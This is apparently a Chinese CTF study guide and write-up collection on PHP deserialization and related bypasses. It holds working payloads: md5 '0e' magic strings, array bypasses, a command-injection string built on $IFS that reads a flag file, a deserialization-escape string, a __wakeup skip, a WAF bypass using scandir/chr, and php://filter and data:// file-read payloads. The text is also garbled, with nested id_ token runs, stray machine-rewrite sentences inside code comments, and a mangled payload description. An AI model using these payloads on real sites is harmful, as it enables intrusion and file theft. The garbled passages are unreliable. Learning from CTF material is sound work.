PHP反序列化漏洞详解:从基础到绕过技巧,适合0基础小白的学习指南
[id_[id_[id_18109[id_464606384]4[id_1057861707]]8[id_1021891590]5[id_[id_108507[id_77549781][id_678218114]][id_2118[id_869203664]3034]43215]40]04[id_4781[id_525089285]437][id_11[id_1878953527]3975[id_28326965]][id_2066483867]]id_[id_[id_[id_57667[id_2[id_149335618]996323]09]3[id_21[id_682715582]10[id_542116758]4]310[id_1100099851]][id_1[id_[id_1005255463]7133[id_117[id_1865[id_274593131]259]943172]921][id_1359586493]2364045]7121256]5[id_1058113162]660087]

俺觉得这篇文章把 php 反序列化漏洞的原理讲得不错,它适合 php 零基础的小白,链接如下。
总结:
unserialize漏洞依赖几个条件:
unserialize函数的参数可控
脚本中存在这样一个类,它有一个构造函数(__construct()),还有一个析构函数(__destruct()),并且在__wakeup()函数中有着向 php 文件中写数据的操作。
所写的内容需要有对象中的成员变量的值
[id_73447006]
利用数组绕过: 大部分php不会判断数组
强等于、弱等于绕过
当弱等于进行判断时,如果两边的类型不一样,那么首先要把类型转换成相同的,接着再进行比较。
当强等于判断时,首先要判断类型是否相同。如果类型不一样,就直接得出 false 的结果。只有当类型相同时,才进行比较。
弱等于的转换:
1
2
3
"admin"==0;//true
"1admin"=1;//true
"3"=3;//true
以及:
==对于所有0e开头的都为相等
在进行比较运算时,若碰到了 0e\d+这样的字符串,就会把这种字符串解析成科学计数法。
关键词屏蔽绕过
变量覆盖:
eg: flag为屏蔽词,且贪婪匹配
?ip 为 127.0.0.1;a 等于 g;cat 后面跟着一个 $IFS$1fla$a.php 这个东西里面有 flag
?ip 为 127.0.0.1 ;b 是 ag ;a 是 fl ;cat 后面跟着$IFS$1$a$b.php 这个文件有 flag
md5绕过
[id_890976300]
处理 hash 字符串时,PHP 会对每一个以 0E 开头的哈希值进行解释,将其视为 0。如果传入的不同字符串经过哈希后是以 0E 开头的,那么 PHP 就会认为这些字符串是相同的。
1
2
3
4
5
6
$a = "s878926199a";
$b = "s155964671a";
md5($a) == md5($b);//true
$a1 = "0e33";
$b1 = "0e89";
md5($a1)=md5($b1);//true
数组绕过
在 PHP5 和 PHP7 里,当有两个 md5 进行比较的情况。如果参数是不一样的数组,那么 == 进行比较的结果是 True,并且 === 进行比较的结果也是 True
1
2
3
4
$a = $_GET["a"];
$b = $_GET["b"];
//输入?a[]=1&b[]=2
$a[id_1929827103]$b;//true
md5碰撞
需要用到一个名为 fastcoll.exe 的软件,此软件功能较为强大。它可以输入一个 a 软件(也可以是.txt 文件),接着能输出 b 软件和 c 软件,b 软件和 c 软件名字不同,但它们的 md5 值是相同的。
php弱\强类型比较 && 一些作业
感觉像是只会出现在ctf里的绕过…
成因:
在进行比较时,会先把两边的变量类型转化为相同的,然后再进行比较。
比较时会将其视为科学计数法,所以不管 0e 后面是什么,0 的多少次方都为 0。
CTF 比赛中需要用到弱类型 HASH 比较。这种缺陷最明显的标志是,管理员密码 MD5 之后的值是以 0e 开头。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
ej0D
ek06
el08
eo0n
ey0M
ey0O
ez0s
e006
e10l
eU3Z
eW3vfSoL
fToh
fTo1
fUoU
fYou
fapF
fbpf
fdpF
fnpZ
fppr
fqpa
frpj
fwpD
fyp5
f1p2
f4pN
f7pu
fDpQ
fHpP
fIp4
fJpX
fLpv
fOpi
fQp3
fTpi
fVpz
feqN
fjqN
fvq1
fyqy
fAqJ
fEqk
fFqg
fFqi
fHqX
fIqF
fKqh
fLq6
fQq6
fQqA
fRql
fUq4
fUqA
fXq0
farg
farJ
ftrT
f7rm
fCrB
fErY
fIrt
QNKCDZO
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a
至于强类型,那么可以通过数组来绕过(数组会返回 NULL)。例如,要求$param1!==$param2,然而 md5($param1)===md5($param2)。
1
param1[]=1¶m2[]=2
传数组的方法能够用来绕过 sha1()等 hash 加密函数相关的判断,同时也能够绕过正则判断,所以可以说值得记忆。
各种姿势反序列化逃逸
学完反序列化漏洞之后做的第一个题,这个题不能算是真正的反序列化漏洞题,它利用了 unserialize 函数的一个特性。
进入网页,php源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
include('flag.php'); //flag.php!!!!!!!!!
error_reporting(0);
function replace($payload){
$filter="/flag/i";
return preg_replace($filter,"nono!",$payload); 匹配 payload 中的 filter 并进行替换,这里的/i 意味着大小写不敏感,并且已经在菜鸟在线中进行了验证,同时也验证了单双引号的区别。
};
$sss=$_GET['ky']; 请提供具体需要改写的句子呀,没有看到横线下的句子呢。
$ctf['sss1']='webwebweb';
$ctf['sss2']='pwnpwnpwn';
if(isset($sss)){
if(strpos($sss,'flag')>=0){在 php 中,返回 flag 第一次出现位置的数字。如果没有出现,则返回 FALSE。所以必须出现上述情况。
$ctf['sss1']=$sss; //ss1换成payload
$ctf=unserialize(replace(serialize($ctf)));序列化一个对象或数组,会返回字符串。然后调用 replace 方法,把“/flag/i”换成 nono!,并且可以通过双写来绕过。
if($ctf['sss2']==="webwebweb"){ //3个=,强比较,没法绕
echo $flag;
}else{
echo "nonono!";
}
}
}
else{
highlight_file(__FILE__);
}
?>
还算简单,我这个没学过 php 的人勉强能够看懂。那么该怎么构造呢?当时我想了半天都没想出来,后来 kill7imer 师傅只花了 20 分钟就做出来了,是我太笨了,呜呜呜。
payload:
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag 的值为 s:4:”sss2”,同时 s:9:”webwebweb” 也与之相关。
大致原理
在进行 unserialize 反序列化操作时,如果参数字符串不符合序列化的标准格式,例如数字与实际字符长度不匹配等情况,那么反序列化就会失败,unserialize 不会返回任何内容。所以在这种情况下,需要输入大量的“flag”,以确保在被替换成“nono!”之后也能满足序列化格式。
然后后面的情况该如何处理呢?由于 unserialize 在操作完成后就不会再去管理后面的字符串了,所以只需要进行闭合和填充操作就可以了,这也就是所谓的反序列化逃逸。
各种魔术方法在什么时候被调用
__construct: 对象被创建(实例化)时被调用
出现异常时进行调用,例如访问一个存在的属性,此调用用于将数据写入不可访问的属性。
在对象进行序列化操作时会调用 sleep 方法,其调用顺序为先执行 sleep 操作,然后再进行 serialize 操作。
在对象进行反序列化操作时会被调用,其顺序是先进行__wakeup,接着再进行unserialize。
在对象被销毁时会调用该函数,利用此函数可以删除某些文件。绝大部分情况下,PHP 会自动删除对象,也就是这个函数一般一定会被调用。
当一个对象被当作字符串来使用的时候,__toString 方法会被调用。这个方法返回的值必须是字符串,例如在使用 echo $obj 时。
__call() 在对象上下文中调用不可访问的方法时触发
在静态上下文中调用方法时,如果该方法不可访问,就会触发__callStatic()
get() 是用来从不可访问的属性中读取数据的。当调用私有属性时会使用到它。
在不可访问的属性上调用 isset() 会触发 isset() 或 empty() 的调用;在不可访问的属性上调用 empty() 也会触发 isset() 或 empty() 的调用。
在不可访问的属性上使用 unset() 这个操作会触发 unset() 函数
__invoke() 当脚本尝试将对象调用为函数时触发
改变属性数绕过__wakeup
原理:当序列化字符串中表示对象属性个数的数字值比真实类中属性的个数大时,就会跳过__wakeup的执行。
tips
如果类中存在 protect 变量或者 private 变量,那么其中可能会有空白字符,在进行复制操作时无法将其复制进去,所以我们需要在通过 burp 抓包之后,手动用“”来进行填充。
比如:
php的版本不同,可能会导致反序列化的结果也不同
实战 php 极客大挑战 2019 ,要实现反序化并跳过 __wakeup 的执行
操了,忘了网站的备份文件这个知识点: 是网站的备份文件
通过这题再学习一下php反序列化漏洞
接着按照提示,将文件进行下载,接着查看 class.php(其中包含一个 dirsearch 的用于扫描网站后台目录的脚本,可以使用一下)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~我不能给你那面旗帜。很抱歉。;
die();
}
}
}
?>
接着在 index.php 里存在一段 php 代码,初次见到时并未看到……
1
2
3
4
5
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
然后大致可以推测,get 传递过去的 select 经过反序列化之后变成的 res 会被传递到 class.php 中并作为 this
做法:要显示 flag 就需要调用__destruct 函数。幸运的是,在 php 中一般会主动调用这个函数,而不需要我们去调用它。
如果 password 弱等于 100 且 username 等于“admin”,这就存在问题了。因为在进行反序列化时会调用__wake 函数,而该函数会将 username 进行更改。
所以需要绕过这个函数。怎样绕呢?可以借助改变属性数来实现绕过。其原理为:当序列化字符串中用于表示对象属性个数的数字值比真实类中的属性个数大时,就会跳过__wakeup的执行。
另一个部分是“Namepassword”,其值为 100 。
注意:此处为空字符,原因在于$password 和$username 均为私有变量,所以在进行序列化操作时会呈现这种格式。
Easy calc 可以利用 php 字符串解析的特性来绕过 WAF,并且还附有解析替换的作业。
这题考察waf绕过和php字符串解析特性绕过
随便输入一个“1+!”,然后就会返回:“>在这个服务器上,你没有权限访问 /calc.php。”
于是没有去访问 calc.php 。实际上是我产生了误解,无法访问的原因是输入了字母。如果提交的参数是合法的,那么是可以进行访问的。
然后偷瞄wp,回来访问calc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');//执行 'echo $str;'语句
}
?>
黑名单限制,有戏
此处仅对空格等字符进行了限制,未对字符串加以限制,然而输入字符串时却会给出警告,且警告内容相同,这表明存在 waf。
waf 有这样的限制,即只能提交数字,而字母会被过滤掉。不过,可以利用 php 的字符串解析特性来绕过 waf 。
php字符串解析特性
在解析 php 时,需要把所有参数转化为有效变量名。为此,它要做两件事:一是删除所有空白字符;二是把一些字符转化为下划线,其中包括空格。
为此可以提交“/?num=payload”,在这种情况下提交的参数是“num”,将空格删除变为 num,就能够绕过防火墙了。
我进行了尝试,结果发现失败了。失败的原因是需要将空格替换为%20,之后提交就成功了。
接着构建 payload,利用 scandir()函数与 var_dump()函数来查看目录。
scandir 函数用于列出指定参数目录下的所有文件和目录。例如,当参数 pram 为 '/image/' 时,它会列出 '/image/' 目录下的所有文件和目录。
但是calc.php限制了’/‘,怎么办?
可见你是白学了,这种情况可以通过 chr(47)来绕过。
1
scandir(chr(47))
回显: Array
查看Array目录
1
var_dump(scandir(chr(47)))
发现f1agg文件,查看
1
var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(97).chr(103).chr(47))) 需要注意的是,“/f1aag 而 8 是 f1aag”。
解析替换作业
[ZJCTF 2019]的 NiZhuanSiWei 是 php 伪协议
进入页面,源码贴脸
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
看完了,就是php反序列化,决定8看wp自己做出来
另外在面试时没有让你去查资料的机会,所以那些该记住的 payload 还是要有意识地记一下。
注释里的 useless.php 是可以被访问的,然而呈现的却是空白页面。看来需要找到办法,通过反序列化来查看其源码。
然后进行 file 正则匹配并绕过 8 之后,就去查看 wp 了,这完美地打破了之前立下的 flag。
首先,会去访问 text 文件,并且读取其中的字符串。在这个过程中,需要用到伪协议,也就是 data://写入协议。
欢迎来到 zjctf。
然后是文件,它绕过了 8 次。但是,你有想到什么吗?文件包含着漏洞啊!太糟糕了,这都没想到 8 次。
文件的路径为 php://filter/read=convert.base64-encode/resource=useless.php
接着获取到以 base64 编码的流,对其进行解码后就能得到 useless.php。
1
2
3
4
5
6
7
8
9
10
11
12
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file); //读取+显示$this->file
echo "
";
return (你离得很近!请加油!);
}
}
}
?>
嗯….我觉得到这步真的阔以靠自己做了,起码先试着分析:
可以通过调用 toString 来执行查看 file 的操作,当一个对象被当作字符串使用时,toString 会被调用。
调用__wakeup 时会进行 unserialize 操作,由于没有源码,所以对此略过。
所以如何通过反序列化来实现对__tostring的调用呢?或者是否有其他的方法呢?
在执行 echo $password 这个操作时,就会触发 tostring 这个动作……你这个笨蛋。
对象是什么? 是Flag, 构造:
password 等于一个对象,该对象的类名为 O,其等级为 4,类名为“Flag”,并且有一个属性,属性名为 s:4:”file”,其值为 s:8:”flag.php”。
结果发现你想多了….最后这么构造:
欢迎来到 zjctf,文件名为 useless.php,密码为 O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
然后查看源码即可看到flag….
还是不熟练啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!
[网鼎杯 2020 青龙组]在 php 版本不同的情况下,可能会导致反序列化的结果有所不同。
很水的一道题,没必要写wp,记录下做题遇到的问题
构造 payload 时碰到了适应 php 版本 8 的问题,致使构造好的 payload 回显总是失败。所以在实际操作时,要记得尝试与 8 相同的 php 版本,因为不同的 php 版本在序列化含 private 或 protected 的类时,得到的结果可能不一样。